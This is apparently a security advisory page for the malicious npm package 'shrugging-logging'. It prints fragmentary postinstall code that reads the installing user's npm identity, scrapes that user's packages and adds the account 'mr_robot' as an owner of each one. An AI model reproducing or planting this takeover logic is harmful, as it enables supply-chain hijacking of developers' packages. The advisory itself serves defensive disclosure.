shrugging-logging@0.0.1-security vulnerabilities

security holding package

Direct Vulnerabilities

Known vulnerabilities in the shrugging-logging package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Malicious Package

shrugging-logging is a malicious package that uses postinstall scripts to perform malicious activity, like adding the owner of the malicious package as an owner to all packages owned by the user who performed npm install.

This is especially dangerous in production runtime environments, where environment variables tend to consist of keys, passwords, tokens and other secrets.


function currentUser(cb) {
  exec('npm whoami', function (err, stdout, stderr) {
    if (!err) cb(stdout);

function addOwner(packageName, newOwner) {
  exec('npm owner add ' + newOwner + ' ' + packageName);

function getModulesOwned(user, cb) {
  var url = '' + user;

  request(url, function (error, response, body) {
    var $ = cheerio.load(body);
    var packages = $('.collaborated-packages a').map(function (i, el) {
      return $(this).text();


currentUser(function (user) {
  if (user) {
    getModulesOwned(user, function (modules) {
      modules.forEach(function (moduleName) {
        addOwner(moduleName, 'mr_robot');

The list of packages and their scripts are:


How to fix Malicious Package?

Avoid usage of this package altogether.